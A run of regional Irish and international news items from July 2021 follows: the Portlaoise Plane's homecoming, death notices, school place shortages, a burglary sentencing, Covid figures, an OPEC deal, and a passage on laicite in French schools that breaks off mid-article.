We are absolutely delighted to see this plane coming back to its rightful home in Portlaoise. Id like to thank all the management and elected members of Laois County Council and Portlaoise Municipal District who have helped the plane on its journey so far, and we look forward to working with them in finding a permanent home for this invaluable artefact, he said.

The Plane will be stored at a secure location in the town while further restoration work is finalised. An event to introduce the pane to the public is planned for Heritage Week, on Saturday 21st August. The plane will be displayed on Fitzmaurice Place, in tribute to the builders of the plane, the crafts people who have restored it and to Col James Fitzmaurice, who was involved in the building of it as a young boy.

Catherine Casey, Heritage Officer with Laois County Council, looked forward to the aircraft playing a starring role in Heritage Week.

Its a proud day for Portlaoise as this priceless link with our past returns home. We are looking forward to sharing the plane with the people of the town during Heritage Week, and we will also have a chance to share details of the Heritage Council funded project to conserve newspapers and other archives relating to the first East West Transatlantic flight in 1928.

"As Colonel Fitzmaurice himself said he was inspired to take up his flying career by working with the Aldritts on the Portlaoise Plane, it is fitting that we celebrate the Plane in the square named after Fitzmaurice in Portlaoise during Heritage Week," she said.

Several members of the Aldritt family attended the homecoming last week. Among them was Susan, Barbara and Denis, son of Donie Aldritt who was the last custodian of the aircraft.

He spoke to the Leinster Express about seeing the plane again after so many years.

"Its great to see it. Its been gone so long and I suppose we didnt really miss it until we saw it back again, he said.

He recalls the plane from his childhood.

I remember seeing the plane hanging out of the rafters on Church Street, he said.

Denis paid tribute to local aviation expert Alan Phelan and Teddy Fennelly.

We owe them a great debt of gratitude...without the two of them it would never have come back to Portlaoise, he said.

He admits that the family have learned a lot more about the plane their family built through the process of bringing it home. Denis remembers his father and uncles being involved in some big projects alongside building a plane and the family engineering and car business. He said the were called down to Ardnacrusha to solve problems when the hydroelectric power station was being built in the 1920s.

They were into a lot of things, he said.

It was appropriate that the plane returned to a location not far from where it was built at the Aldritt Engineering works on Church Street which is now home to a hair salon run by Barbara Aldritt.

In the 1950s, they moved to the Dublin Road where the Des Hughes garage is now located.

Denis believes the plane left Portlaoise after his father gave it to another Laois man Denis Lucey who opened a museum in Kerry.

It would later make its way to Great Britain before being tracked down by Teddy and Alan in recent years.

Somebody who cannot be forgotten in the rescue and return is Joe Rogers. From Portlaoise, Joe discovered the plane in 2012, where he now lives in the UK, on a visit to Filching Manor Motor Museum in East Sussex.

In the collection was the plane on which his father, William Rogers, had worked.

"A Treasure Uncovered in East Sussex" published by www.writing.ie reveals how he came across it during a recent holiday in the south of England.

He said recovered the Portlaoise and stored it for six years.

Joe joined the Irish Army Air Corps on leaving school and served as a Meteorologist/Air Traffic Controller. He trained at Collinstown (now Dublin Airport) he served at both Baldonnel and Gormanston airfields. Joe moved to England on discharge where he started a new career.

More below picture;

For more information on Col Fitzmaurice and the restoration of the Portlaoise Plane follow https://www.facebook.com/Fitz-and-the-Famous-Flight-106669151006231/.

For more on Heritage Week events coming up in Laois see www.laois.ie/heritage

More below picture

National Heritage Week is co-ordinated by the Heritage Council as part of European Heritage Days  a joint initiative of the Council of Europe and the European Union in which more than 40 countries participate each year. The main aim of European Heritage Days is to promote awareness of our built, natural and cultural heritage and to promote Europes common cultural heritage.

National Heritage Week is supported by the Department of Housing, Local Government and Heritage, and run in association with Failte Ireland. At county level, National Heritage Week is co-ordinated and supported by Local Authority Heritage Officers, their colleagues and with numerous local heritage groups and organisations.

Collaborative partners include the Office of Public Works; the Local Authority Waters Programme; and the Irish Landmark Trust. Supporting partners include RTE Supporting the Arts and The Irish Times. For more information, visit heritageweek.ie.
The Laois Arthouse Gallery in Stradbally is delighted to re-open with an exhibtion entitled Painting the Particular - Paintings of Suburban Dublin 2004-2016 by Mary Burke.

Mary Burke studied Fine Art at NCAD graduating in 1982.

She has exhibited extensively both in Ireland and abroad and she has been awarded residencies at the Leighton Artists Colony at the Banff Centre for the Arts in Canada and a United States Information Agency fellowship to work at the Vermont Studio Center, USA.

She has received several awards including three Arts Council bursaries, a bursary from the Elizabeth Greenshields Foundation (Montreal), a Golden Fleece Merit Award from the Lillias Mitchell Trust and two Professional Development grants from Dun Laoghaire-Rathdown County Council.

Her work has been purchased for many public and corporate collections including The Arts Council, AIB International Financial Services Centre, Ulster Bank, KBC Bank, Eircom, Dublin Airport Authority, Aer Motive Ireland, South Dublin County Council, Fingal County Council, Laois County Council and the Office of Public Works.

She also has a Masters degrees in Anthropology and Digital Media Technologies. Recent projects include House Portraits (in partnership with Tallaght Community Arts and Maynooth University 2015) and TOWNSCAPE (in collaboration with Laois County Council Arts Office and the Sociology Department of Maynooth University 2018-19).

Her most recent project At Home on the Farm is a commissioned exhibition for the Limerick City Gallery of Art (2021) A selection of Mary Burkes paintings will be on display in the Laois Arthouse.

Mary conducted this years annual Adult Summer Art course in the Malthouse, located in the centre of Stradbally. Eight particpants enjoyed the four day course and Mary shared her work methods and experience to assist and guide students in making art works that responded to the town of Stradbally.

The Laois Arthouse is celebrating its tenth anniversary this year.

The exhibition open from 20 July until 3rd September and from Tuesday to Friday, 1pm-4pm. and Saturday 10am-1pm. The Gallery can be accessed through the Public Library each day except for Friday when it can be accessed through the Arthouse, on the Timahoe Road. Admission is free.

For further information about the exhibition, please contact Muireann Ni Chonaill and /or the Arts Office team at artsoff@laoiscoco.ie on 057 86 64109
The death has occurred of Brigid Doyle

Rathmore, Naas, Kildare



Doyle Brigid, Punchestown House, Rathmore, Naas, Co. Kildare. 12th July 2021. Peacefully in Craddock House Nursing Home, Naas, surrounded by her family. Loving wife of the late Ned and mother of Jack, Mary, Anna, Patrick, Edward, Paul, Richard, and Seamus. She will be dearly missed by her sister Pat Nolan, daughters in law, sons in law, grandchildren, great grandchildren, sisters in law, nieces, nephews, extended family, relatives, and friends.

May Brigid Rest in Peace

Funeral to the Church of Our Lady of Mercy, Crosschapel on Thursday arriving for 11.00 a.m. Funeral Mass followed by burial in Burgage Cemetery. Given the exceptional climate and to protect everyone who knew Brigid, the funeral mass for family (50 persons) only.

Those who would have liked to attend Brigids funeral, but due to restrictions cannot, may leave a personal message for the family on the condolence page below.

The death has occurred of Una HEYDON (nee McGrath)

The Paddocks, Naas, Kildare / Thurles, Tipperary



Late of The Paddocks, Naas, formerly of Dunstown, Two Mile House, Co. Kildare and Thurles, Co. Tipperary. Peacefully at Naas General Hospital on July 12th 2021. Beloved wife of the late Joe. Sadly missed by her loving sons Joe and Paddy, daughters-in-law Gillian and Ciara, grandchildren Grace, Danny, Christopher and Edie, brother Gerry, sisters-in-law, brothers-in-law, nieces, nephews, relatives and friends.

"May Una Rest in Peace."

Due to current Government guidelines regarding public gatherings, a private family funeral will take place on Thursday morning with a Funeral Mass at 11am in St. Peter's Church, Two Mile House followed by Burial in the adjoining cemetery.

Those who would like to join the private funeral service remotely by webcam can do so by clicking on www.naasparish.ie or via the Naas Parish App on the webcam folder.

Those who would have liked to attend the funeral, but due to current restrictions can not, please feel free to leave a message in the condolence page below.

The death has occurred of Daniel (Danny) Hoey

Leixlip, Kildare / Galway City, Galway / Four Mile House, Roscommon



Formerly of Ballyglass, Four-Mile-House, Roscommon. Peacefully in the loving care of the staff at the South Westmeath Hospice, Athlone. Predeceased by his parents Paddy and Vera and brother Sean. He will be sadly missed by his wife Theresa, daughters Ciara, Aine and Hanoragh, son Donall, grandchildren Cillian and Jonah, brothers Jim (Arklow), Tommy (Leixlip) and Paddy (Roscommon), sisters Eileen (Kennedy, Strokestown), Veronica (Luby, Cloonard), Patricia (Gallagher, Ennis) and Teresa (Flynn, Dublin), nephews, nieces, brothers-in-law, sisters-in-law, relatives and friends.

Rest In Peace

Removal from McHugh's Funeral Home, Strokestown, on Thursday, July 15th, to Strokestown Parish Church for Funeral Mass at 11.30am. Burial afterwards in Ballinderry Cemetery. Owing to current restrictions Danny's Funeral Mass is restricted to family and friends, limited to 50 people. The Funeral Mass may be viewed online by clicking HERE. Condolences may be left here on RIP.ie. Family flowers only please. Donations in lieu of to South Westmeath Hospice, Athlone. Thank you for your cooperation and understanding at this sad time for the family.

The death has occurred of James (Jim) Murphy

Glenveagh, Roseberry, Newbridge, Kildare



Formerly of Piercetown, Newbridge. Sadly missed and deeply loved by his partner Catherine and her family, his four daughters, their mother and their families, sisters, in laws, nieces, nephews, extended relatives, friends and his many colleagues in Kildare county council. A much loved, kind and gentle man who will be greatly missed by all, especially the grandchildren who he adored.

May Jim Rest In Peace

Due to current government guidelines regarding public gatherings, a private family funeral will take place. Those who would have liked to attend the funeral, but due to current restrictions cannot, please feel free to leave a message in the condolence page below.

Removal from his residence on Thursday morning to arrive at The Dominican College Church, Newbridge, for Requiem Mass at 11o'clock. Jim's funeral will be live-streamed on www.dominicansnewbridge.ie.

Cremation afterwards at Mount Jerome Crematorium, Harolds Cross, Dublin. Jim's cremation service will also be live-streamed from 1.45pm at the following link;

https://vimeo.com/event/153499

No flowers by request. Donations if desired to "The Friends of Naas General Hospital".

The death has occurred of John O'Mahony Adams

Coologmartin, Timahoe, Kildare



Formerly of Pitchfordstown Lodge, Kilcock. Former member of the National Symphony Orchestra of Ireland. John, peacefully, in the loving care of his devoted partner Pauline & the wonderful staff of Naas Hospital. Predeceased by his father Sidney Adams and mother Nora (nee Mahony) Adams. Deeply loved and sadly missed by his partner Pauline, sister Margaret Wilkinson, family, relatives, many friends and neighbours.

May He Rest In Peace.

Those who would have liked to attend, but due to current restrictions cannot, please leave a personal message for John's family in the 'Condolences' section below.

House Private.

Family flowers only please, donations if desired to the Irish Cancer Society.





Funeral Arrangements Later

The death has occurred of Flora (Billie) Skrine

Ballyward, Manor Kilbride, Wicklow / Naas, Kildare



Skrine, Flora (Billie), Ballyward, Manor Kilbride, Blessington, Co. Wicklow and previously Shirtairl, Newtownbaltracy, Naas, Co. Kildare. 12th July 2021. Wife of the late Godfrey. Will be dearly missed by her niece Frances, nephews Philip and Andrew, stepchildren John and Anthea. Predeceased by her nephew Nicky.

May Billie Rest in Peace

Funeral to the Church of the Immaculate Conception, Eadestown on Friday 16th arriving for 11.00 a.m. Funeral Mass followed by burial in Eadestown Cemetery. Family flowers only, donations if desired to Riding for the Disabled. https://rdaireland.org/donate-to-rda-ireland. Given the exceptional climate and to protect everyone who knew Billie, the funeral mass is for 50 persons. Those who would have liked to attend Billies funeral, but due to restrictions cannot, may leave a personal message on the condolence page below.

Live Stream: https://eadestownparish.com/
A Boil Water notice for parts of Kildare, Wicklow and Carlow has now been lifted.

Areas around Castledermot and Graney had been affected, according to Irish Water.

A Statement said: "Irish Water, working in partnership with Carlow County Council wishes to notify customers on the Carlow North Regional, Tullow and Carlow Town supplies that following the completion of remedial measures and the receipt of satisfactory monitoring results, the boil water notice which has been in place is now lifted with immediate effect.

"Following consultation with the Health Service Executive, Irish Water and Carlow County Council issued a boil water notice on the Carlow North Regional PWS and Tullow PWS and Carlow Town PWS on the 8th July 2021. The lifting of the notice was also done in consultation with the HSE.

"All consumers on the Carlow North Regional PWS, Tullow PWS and Carlow Town PWS can now resume normal use of the water supply for drinking, food preparation and brushing teeth.

"Irish Water and the Carlow County Council - Health Service Executive Water Local Liaison Group will continue to meet and review ongoing process control, monitoring and testing of the drinking water supply.

"The Irish Water Customer Contact Centre (1800 278 278) is available to answer customer queries in relation to the lifting of this notice. Further information is available on our website at www.water.ie.

"Irish Water and Carlow County Council acknowledge the patience, cooperation and assistance of the general public during the period of the boil water notice and greatly regrets any inconvenience caused to householders and the business community."
School principals are concerned about a delay in providing prefabs for students. It coincides with concerns about whether there will be enough school places  at primary and second level  to meet the demands posed by a growing population in County Kildare.

Kildare and Wicklow Education and Training Board official Emer Roy said Brexit, coronavirus restrictions and normal procurement delays meant that the construction of some prefabs has been delayed.

Separately, Kildare County Council wants plans put in place to ensure there are sufficient school places available. According to Cllr Noel Heavey, there is a shortage of 70 secondary places in Newbridge alone.

Delays in supplying prefab buildings to KWETB schools is being blamed on Covid-19, Brexit and general supply chain issues.

A board meeting of the statutory body heard on July 6 that every effort is being made with the Department of Education and suppliers to ensure principals have sufficient classroom spaces for September.

KWETB CEO Dr Deirdre Keyes said that the Department usually has a fast-track system for modular accommodation and that planning permission is not required for smaller extensions.

She added: Our principals are so solution focused and so positive coming to this.

Solutions

We're meeting them regularly  they're disheartened but they're working on solutions and what they might have to do.

Board member Stephen Horan said there was a lot of frustration at the delays in installing prefabs at schools.

He said: Lidl can put up a building in a matter of months from the start because they have one built to fit the space.

He added: Maybe we should contact IKEA and get flack pack prefabs. The mind boggles.

Flatpack buildings have been put in place in other countries.

Issues

Head of Corporate Services, Emer Roy commented that a number of issues out of the KWETBs control was impacting on the supply of prefabs such as Covid-19, Brexit as well as official procurement procedures.

She said: In a non-Covid year, youd still be talking about an elongated process.

If there wasnt a supply issue, we would still have a process issue.

If you throw in Covid, if you throw in Brexit, if you throw in a steel shortage, thats all making it worse.

Ms Roy also pointed out that there is a limited pool of suppliers who are completely swamped.

She added: My heart goes out to the principals who have been involved in this process over the past year.

Joined-up thinking



Meanwhile Sinn Fein TD Patricia Ryan said in the Dail last week that she has contacted by parents who do not know what school their child will attend in September.

She added: This is Third World stuff. We are living in one of the richest countries in the world. We need joined-up thinking and a plan for the population growth we are experiencing.

Monasterevin has waited 20 years for a new secondary school. I am delighted to note it is in progress but I am afraid it will be above capacity when completed.

A new build for Colaiste Iosagain in Portarlington is at preliminary design stage. Newbridge and Kildare town need new schools as well. The wheels are moving too slowly and urgent action is needed to prevent a looming crisis.

Meanwhile, a Council meeting was told there is a shortage of school places  at primary and second level  in County Kildare.

A move to have Kildare County Council meet on a monthly basis with the Department of Education has been rebuffed by the department  KCC official Mairead Hunt said the Department cannot commit to regular monthly meetings.

Cllr Suzanne Doyle sought to have the meetings restored and told a KCC meeting on that these are needed to support and monitor the delivery of school places across the county. She said school places should be available before people move into an area. In Monasterevin people have waited for 20 years for a primary and post primary school, said Cllr Kevin Duffy. We need to be well ahead of the curve and we haven't been for the last decade, he said.

Cllr Fintan Brett said there is a need to provide a swimming pool as part of school projects being undertaken in areas where a pool doesnt exist. He also said there is scope for school premises and facilities to be used by the whole community.

Schools are funded by the taxpayer and are only open for a few hours a day, he said.

Cllr Noel Heavey said there is a shortage of 70 second level school places in Newbridge and that it is obvious that places are needed.

We know its been coming for years, he added.

Noting that two separate primary school projects are underway in the Naas area providing 26 places for girls and 16 for boys, Cllr Bill Clear said that primary school should be

co-educational.

KCC chief executive Peter Carey said that KCC has historically been very proactive with the department and he added that there is pressure on school places in County Kildare because of the population growth.

A school principal said that Naas secondary schools can accommodate the vast majority of students moving from primary to secondary education.

However a small number of students in the Naas are as of now without a place in first year when the second level schools reopen in September.

Naas Community College principal Ciaran Keegan said that there is a waiting list of 50 students seeking a place in the Craddockstown Road school.

Secured

However it is not clear how many of these will have secured places in other schools by the time the academic year starts.

We will have 120 first year students this year but this will increase to 180 when we move into the new school building, said Mr Keegan.

NCC, which will have 650 students on the roll book come September, is due to relocate to a brand new facility which is under construction at Millennium Park and will open before the end of the year.

It is also known that the Department of Education and Science asked NCC to consider opening another classroom to deal with the expected influx of students, but this request was later withdrawn by the department on the basis that there is sufficient capacity inthe town.

However some parents may disagree with this, added Mr Keegan.

There will be 192 students coming into the all girls St Marys College in September.

Co-operation

Principal Mark Dowling said that while there were up to 70 students without a place in Naas earlier this year, this has reduced substantially following meeting and cooperation between the school principals as well as parents.

In most cases students are graduating from primary school but a number of families have returned to Naas area having spent some time working abroad.

Mr Dowling believes that while not every student will get a place in their preferred school, there are sufficient places to accommodate everyone.
A burglar who was caught after his DNA was found on an empty bottle he left behind in the victims bedroom has been jailed for three and a half years.

William Nolan (31) also left DNA in a sock that was found beside the house, which he had taken from the victims home to cover his hand so as not to leave fingerprints at the scene.

Nolan stole jewellery and a BMW from the homeowners. He later told gardai that he sold them for about 300 or 400 to get money for drugs.

The court heard that the burglary was one of a tsunami of offences Nolan carried out at the time while he was addicted to tablets.

Nolan, of Kiltalown Path, Jobstown, Tallaght, Dublin, was jailed for eight and half years in April 2020 by Judge Pauline Codd.

He had pleaded guilty to burglary, criminal damage and endangerment at various locations in Tallaght on May 4, 2019. He also pleaded guilty to burglary at Allied Foods, Tallaght, on March 29, 2019. He is due for release in 2025 on these charges.

On Wednesday, Nolan was sentenced on a separate offence after he pleaded guilty at Dublin Circuit Criminal to burglary of a house in Ranelagh and theft of the homeowners car on May 1, 2019.

He has 148 previous convictions for offences including criminal damage, burglary, theft, endangerment, stealing cars and road traffic offences.

Judge Elma Sheahan sentenced him to five years with the final 18 months.

She commended Detective Garda Derek McGrath for the fairness in which he presented the evidence in the case after he told the court that Nolan genuinely had no recollection of the burglary because of his level of intoxication.

Judge Sheahan accepted that Nolans remorse is genuine and he wishes to rehabilitate and turn things around for himself and his family.

She said the court accepted that Nolan should be encouraged to deal with his addiction and suspended the final 18 months of the five-year term on the condition that he engage with the Probation Service for two years and undergo any courses recommended to him.

Det Gda McGrath said that when questioned by gardai in August 2020, Nolan genuinely had no recollection of the burglary, but admitted that he had been committing burglaries in that area at the time.

He also admitted that he usually would take a sock from the house to cover his hand so as not to leave behind fingerprints.

Det Gda McGrath told Pieter Le Vert BL, prosecuting, that the homeowners were not there at the time and came home to find their house ransacked, jewellery taken and the car missing.

The man noticed that an empty bottle was sitting on the bed in the couples bedroom and later found his wifes sock in a lane near the house, both of which he handed over to gardai.

Det Gda McGrath said that it took over a year for the results in relation to the DNA to come back to him which was why there was a delay in the prosecution of the case.

He said Nolan told him in interview that he was abusing tablets at the time, that he had been buying on the street and it had been the worst point in his life.

Det Gda McGrath agreed with a suggestion from Mr Le Vert that the addiction had a devastating effect on him physically and mentally, in that he lost his family and freedom and anything else important to him.

It was a sad situation, the detective said before he accepted that there was no violence in his nature when Nolan was off tablets.

He wanted to help us with his enquires, Det Gda McGrath said before he added that he believes Nolans remorse was genuine.

Sarah-Jane OCallaghan BL, defending, told Judge Sheahan that her client is willing to put his hands up and admit that he has made shocking decisions.

She said a letter from him speaks to the fact that he has made these choices and he cannot blame anyone before counsel outlined that he had a difficult background.

Nolans mother left the family because of the level of violence in the home and Nolan then bore the brunt of all that violence from his father, Ms OCallaghan said.

She said her client hopes to turn his life around. Only time will tell if he can form a proper relationship with his two children, whom he adores, counsel submitted.

Ms OCallaghan also suggested that if the forensics in the case had not delayed the prosecution, this offence could have been dealt with in the other cases in April 2020.
A further 10.5m in funding has been added to the funding already announced earlier this year for Local Improvement Schemes across local authorities. The announcement has been made today by the Minister for Community and Rural development, Heather Humphreys TD.

Sligo/Leitrim TD and Minister of State, Frank Feighan TD has warmly welcomed what is a doubling up of the earlier funding announced this year.

Councillors across Sligo, Leitrim, Roscommon and Donegal have in recent months expressed their hopes that the Government would try to find extra funding to meet the strong demand from people who live in rural areas including farmers who are on a long waiting list for their LIS to come around.

An extra 1.168m is allocated under this round of funding to counties, Sligo, Leitrim, Roscommon and Donegal bring a total allocation of 3,237,220 for 2021

Leitrim sees an extra 270,000 allocated which sees the county receive 540,000 for 2021, Sligo receives 276,154 with a total of 552,308 for this year

I acknowledge that the lists are long however the doubling of funding will have an impact and I will continue to lobby for this level of funding every year to deal with the demand for this scheme

In conclusion I wish to single out Heather Humphreys as a rural based TD, the Minister has a real understanding of the issues that effect rural Ireland and her recognition of the value of this LIS scheme is testament to this, concluded Minister Feighan.
IN LENDING his support to the Traveller Culture and History in Education Bill, a Limerick TD recalled his youth.

The Bill provides for the inclusion of Traveller culture and history in the curriculum taught by recognised schools in the State.

Deputy Richard O'Donoghue said he had the chance to observe the culture of the Traveller community in the early 1990s when he was in school.

"There was a Traveller boy in my class who only reached second year. You would imagine that given that Rathkeale has a large population of Travellers, there would have been many Traveller children at the school.

"Believe it or not, in certain classes you would be lucky to have one. Indeed, Colaiste na Trocaire in Rathkeale had among the lowest number of Traveller students attending in the county. The school has made many welcome accommodations for the Travelling community," said Deputy O'Donoghue.

The Independent TD said there is a significant Travelling community in parts of Limerick.

"The Bill is a logical and necessary continuation of the States historic recognition of Traveller ethnicity. Every person and child, no matter what culture they are from and what race they are, should be entitled to an education, like everyone else. That is why I am supporting this Bill. Every child, regardless of nationality, is entitled to the same chances as others.

"From the days of the tinsmith to the present day, we have evolved and moved forward. Technology is advancing and everything is moving forward. It is time that the education sector also moved forward. We must ensure that every male and female child in this country and world has the same rights to education. There should be no boundaries. That is why I welcome and support this Bill," concluded Deputy O'Donoghue.
NEARLY 800 new cases of Covid-19 have been reported by the Department of Health today - the highest daily figure since February 20.

According to provisional figures from the The Health Protection Surveillance Centre, there have been a total of 783 additional cases across the country.

While the figures for Limerick are not available, the National Public Health Emergency Team has confirmed the incidence rate in the Limerick City North LEA is one of the highest in the country and significantly above the overall national rate.

Meanwhile, the number of Covid-19 patients in hospital has also risen over the past 24 hours. As of 8am this Wednesday, there were 73 Covid-19 patients in hospital of which 20 were in ICU.

Commenting on the latest figures, Dr Tony Holohan, Chief Medical Officer at the Department of Health appeal to people of all ages to comply with public health guidelines over the coming weeks.

"As we continue to re-open society and enjoy being able to meet loved ones again, it is important to remember that not all social situations are the same. There are certain instances, that are riskier than others. As we have said throughout this pandemic, Covid-19 spreads much easier indoors and when public health measures are not prevalent and as such, it is important to exercise caution in all environments as we continue to safely meet others.

Dr Ronan Glynn, Deputy Chief Medical Officer says the latest data is showing clear increases in incidence of disease right across the country.

"There is no question that the delta variant is having a considerable impact of transmission of Covid-19. Delta also appears to be presenting with a different variety of symptoms than we have seen with other variants, including headache, sore throat and blocked or runny nose. If you have any symptoms of a cold or flu it is vital that you isolate immediately and arrange a test, he said.

Professor Philip Nolan, Chair of the NPHET Irish Epidemiological Modelling Advisory Group said the Delta variant is now responsible for most cases in Ireland and that it is at least twice as transmissible than the previous dominant variant.

"We have seen incidence increase significantly over the last two weeks, especially in unvaccinated groups. Infections are now growing at between two and four percent per day. We can control this, and as we move towards a further re-opening of society next week, it is important to remember that the public health advice that we all so familiar with is as effective in breaking the chains of transmission of the Delta variant as it has been throughout the pandemic. Avoid crowds, wear a mask, manage your contacts, keep your distance, meet outdoors where possible, and, if indoors, ensure that the room is well ventilated.

Commenting on the figures, Professor Karina Butler, Chair of the National Immunisation Advisory Committee said 70% of the adult population have had at least one dose of Covid-19 vaccine and almost 60% of adults are now fully vaccinated against Covid-19.

The vaccine programme is being delivered in the fairest and most equitable way and continues to prioritise those most at risk from Covid-19. It is really important that when your turn comes, you take your Covid-19 vaccine and that when called for a second dose, that you complete your dosing schedule and wait the appropriate period for full protection," she said.
OPEC reached a compromise with the United Arab Emirates, agreeing to lift the amount of oil the cartel member can eventually pump as part of a wider agreement with Russia-led producers to boost global supplies, according to people familiar with the matter.

Crude prices fell immediately after news of the deal, though they quickly recovered and were little changed in early New York trading. Brent, the international benchmark, was essentially flat at about $76.50 a barrel. West Texas Intermediate was trading around $75.10 per barrel.

Earlier this month, the Organization of the Petroleum Exporting Countries agreed with a Russia-led group of producers to increase production to meet soaring demand and tame climbing prices. The group early last year cut 9.7 million barrels a day of crude, the equivalent of about 10% of demand at the time.

Demand has suddenly accelerated as many economies, particularly in the developed world, start to hum again, after wide-scale vaccination drives and moderating new caseloads in many places. The group, called OPEC+, has previously agreed to add back about 4 million barrels a day.

Early this month, most delegates agreed to a deal that would call for OPEC+ to increase production by 400,000 barrels a day each month through late 2022, which would undo the remaining curbs. But over several days of talks, the U.A.E. refused to sign on.

The country, one of OPECs biggest producers and usually a strong ally of the groups de facto leader, Saudi Arabia, insisted its own quota be lifted as part of any deal.

The U.A.E. had asked for its so-called baselineor the maximum amount of oil the group would recognize the country as being capable of producingto be raised to 3.8 million barrels a day from 3.2 million barrels a day. In the compromise reached Wednesday with Saudi Arabia, the group agreed to increase that to 3.65 million barrels a day starting in April, according to people familiar with the matter.

The compromise is provincial and subject to the approval of OPEC+ producers when they next meet, possibly this month, according to delegates. That means any new output from the broader deal wont hit markets immediately.

The compromise patches up for now what had turned into an acrimonious and public spat between two of OPECs closest traditional alliesSaudi Arabia and the U.A.E. While Saudi Arabia is far and away the bigger producer and regional power, the U.A.E. is one of just a few OPEC members with so-called spare capacitybarrels it can turn on and off quickly.

The U.A.E. has recently pushed within the group for more scope to boost its individual output quota. It has recently spent heavily to increase its output capacity. U.A.E. officials have grown to believe they need to pump that oil out of the ground faster, before demand dries up amid a broader global energy transition away from fossil fuels.





This story has been published from a wire agency feed without modifications to the text

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Quick-service restaurant chain Wow! Momo on Tuesday forayed into the fast-moving consumer goods market with a range of frozen ready-to-eat momos. The Tiger Global Management-backed company plans to launch more categories of frozen foods in the coming months, while also introducing sauces and condiments.

The company is targeting annual revenue of 500 crore over the next five years from its packaged foods business, and 1,000 crore from the food services or restaurant business, said Sagar Daryani, co-founder and CEO, Wow! Momo, in an interview.

Launching momos as frozen foodready to eat in 2-3 minutesfollows the growing popularity of momos, made ubiquitous by roadside kiosks.

Wow! Momo is seeking to tap a growing trend of in-home snacking that has led food companies to launch more frozen foods and bite-size snacks. The pandemic and ensuing lockdowns shifted food and beverage consumption to in-home in a big way.

Wow! Momo has partnered exclusively with online retailer BigBasket to sell its momos in 10 cities, besides tying up with large trade stores such as Modern Bazaar in Delhi-NCR.

Demand for ready-to-eat food has tripled for companies such as ITC and McCain Foods in the past year, said Daryani.

Momos are the entry point for Wow! Momo into the FMCG market with more products such as spring rolls, frozen samosas and a range of condiments and sauces in the pipeline. We want to own the entire steamed foods category, including idlis," he said.

Daryani said the trend towards in-home snacking, especially during the pandemic, led the company to advance its product launch by a year. Our intent was to allow consumers to make momos in less time and the work-from-home phenomenon had helped us speed this up," he said. His plan is to expand to 200 cities by next year.

The company, which runs Wow! Momo and Wow! China restaurants, has launched Wow! Momo Sales Pvt. Ltd for its latest FMCG venture.

Venture capital firm Lighthouse Funds is also an investor in the restaurant business.

Wow! Momo entered the market in 2008-09 at a time when the market was highly unorganized. It sells half a million momos through 350 restaurants across 15 cities.

Of the total, 291 outlets are operational currently.

Daryani said the company is looking at a fundraise for further expansion.

We are definitely looking for another larger round sometime around December this year. And maybe a couple of more funding rounds prior to our aspirations of going for an IPO (initial public offering) in the next few years. We require funds for growth. For us, profitability is not an issue," Daryani said.

The funds will be used to scale up marketing and capacity for the FMCG business and investing in new product development, he added.

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The United States on Tuesday said that it is ready to ship its Covid-19 vaccines expeditiously when it has the green light from the Indian government, which has told the Americans that it needs further time to review legal provisions related to accepting vaccine donations.

"We are ready to ship those vaccines expeditiously when we have a green light from the Government of India," State Department Spokesperson Ned Price told reporters at his daily news conference.

The Biden Administration has announced to share 80 million doses from its domestic stockpile with countries around the world, including India. In recent week, the US vaccines have landed in countries across the world, including Pakistan, Nepal, Bhutan and Bangladesh.

However, the vaccines to India could not be sent because the Indian government is yet to clear the necessary legal hurdles for such an emergency import.

"Before we can ship those doses, however, each country must complete its own domestic set of operational, of regulatory, and legal processes that are specific to each country. Now, India has determined that it needs further time to review legal provisions related to accepting vaccine donations," Price said.

"Once India works through its legal processes, our donations of vaccines to India will proceed expeditiously. We would need to refer you to the Government of India on the status of its discussions with COVAX, which, in this case, is helping to facilitate that delivery," he said.

"More broadly in the region, throughout South Asia, we're donating millions of vaccines to Afghanistan, Bangladesh, Bhutan, Nepal, the Maldives, Pakistan, and Sri Lanka. Roughly 40 million doses have been delivered worldwide so far," he added.

Responding to another question, Price said that the Covid-19 cooperation between the two countries is built on decades of successful partnership in health and biomedical research.

"We are partnering to strengthen the global response to Covid-19 on issues ranging from addressing infectious disease outbreaks to strengthening health systems to securing global supply chains," he said.

"We recently welcomed an initiative to collaborate through the International Center of Excellence in Research focused on infectious diseases, and in this case that includes Covid-19 and other emerging threats. We look forward to an overarching MOU, a memorandum of understanding, to enhance health cooperation beyond that," he added.

The two countries are further working on diagnostics, therapeutics, vaccines to combat the disease and to recognise the importance of manufacturing critical drugs during this time and to making them accessible globally.

"We are able to do that because India's pharmaceutical sector is strong, it's well-established, it has played a central role in manufacturing vaccines for global use over some time. We are pleased that US pharmaceutical companies in turn are coordinating with their Indian counterparts since the beginning of the pandemic," Price said.

"As you know, beyond this partnership, in the context of the Quad leaders' summit, there was an agreement to work with India to boost manufacturing of Covid vaccines that would support a safe and effective and eventually universal distribution of vaccines around the world," he said.

This story has been published from a wire agency feed without modifications to the text. Only the headline has been changed.

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His father forbids him to eat pork in accordance with Islamic laws. But in January, local authorities streamlined meals at public schools across Beziers, a hilltop town in southern France, and now pork is often the only meat on the menu.

This is a provocation," said Rachid El Baroudi, Riyads father.

Public schools across France have become the front lines of a struggle between segments of Frances large Muslim population and proponents of laicite, the countrys strict separation of religion and state. Many Muslim families say authorities are broadening their interpretation of laiciteapplying it to everything from whats served in the cafeteria to whether Muslim mothers can chaperone field trips wearing head scarvesin ways that target Muslims for their religious beliefs.

Teachers, administrators and French officials say they are pushing back against a decadeslong cultural shift, in which schools have come under pressure to accommodate the religious beliefs of many French Muslims in ways big and small. The pressure, they say, is undercutting a republic built on the principle of laicite as well as the values of equality, liberty and fraternity.

Students are citing their religious beliefs in refusing to attend biology, history or music classes, according to teachers. Parents are also forbidding their daughters to participate in swimming classes or go on field trips, teachers say. A recent poll conducted by Paris-based agency Ifop found that 53% of teachers say some students in their middle school or high school cite their religious beliefs in challenging a lesson or refusing to participate, compared with 46% of teachers in 2018.

The tensions were cast into relief in October when middle-school teacher Samuel Paty was beheaded in a terrorist attack outside Paris. The assailant, an 18-year-old Chechen refugee who was later killed by police, targeted Mr. Paty for displaying cartoons from the satirical magazine Charlie Hebdo that depicted the Prophet Muhammad, which is forbidden under Islamic teachings. After Mr. Patys killing, hundreds of students across the country refused to observe a minute of silence in memory of the teacher, according to the French Education Ministry.

Public schools are under attack," said Fatiha Agag-Boudjahlat, a 41-year-old high-school teacher in the southern city of Toulouse. Ms. Agag-Boudjahlat, who grew up in a Muslim family originally from Algeria, said her generation wasnt as strict in their religious beliefs as many of the students she teaches today.

